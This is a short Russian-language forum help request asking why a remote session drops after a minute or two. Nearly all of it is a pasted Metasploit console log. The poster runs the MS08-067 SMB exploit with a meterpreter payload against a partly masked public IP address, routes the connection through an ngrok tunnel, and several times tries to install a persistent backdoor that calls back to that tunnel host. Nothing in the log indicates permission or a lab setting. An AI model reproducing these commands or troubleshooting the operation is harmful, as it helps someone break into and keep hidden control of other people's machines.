через 1-2 минуты сессия слетает:
В чём может быть проблема?
Код:
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > set TARGET 0
TARGET => 0
msf exploit(windows/smb/ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(windows/smb/ms08_067_netapi) > set LHOST 0.tcp.ngrok.io
LHOST => 0.tcp.ngrok.io
msf exploit(windows/smb/ms08_067_netapi) > set LPORT 10478
LPORT => 10478
msf exploit(windows/smb/ms08_067_netapi) > set SMBPIPE BROWSER
SMBPIPE => BROWSER
msf exploit(windows/smb/ms08_067_netapi) > set RPORT 445
RPORT => 445
msf exploit(windows/smb/ms08_067_netapi) > set RHOST ?13.2?1.2?.13?
RHOST => ?13.2?1.2?.13?
msf exploit(windows/smb/ms08_067_netapi) > exploit -j
[*] Exploit running as background job 4.
[*] Started bind handler
[*] Sending stage (179779 bytes) to ?13.2?1.2?.13?
[*] Meterpreter session 3 opened (192.168.1.111:44287 -> ?13.2?1.2?.13?:10478) at 2018-04-01 20:29:23 +0600
[-] ?13.2?1.2?.13?:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: execution expired
meterpreter > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
3 meterpreter x86/windows 192.168.1.111:44287 -> ?13.2?1.2?.13?:10478 (?13.2?1.2?.13?)
meterpreter > run persistence -U -i 3 -p10478 -r 0.tcp.ngrok.io
[-] ?13.2?1.2?.13? - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
meterpreter > run persistence -U -i 2 -p 10478 -r 0.tcp.ngrok.io
[-] ?13.2?1.2?.13?:445 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
meterpreter > run persistence -U -i 3 -p 10478 -r 0.tcp.ngrok.io
[-] ?13.2?1.2?.13?:445 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
[*] ?13.2?1.2?.13? - Meterpreter session 3 closed. Reason: Died
В чём может быть проблема?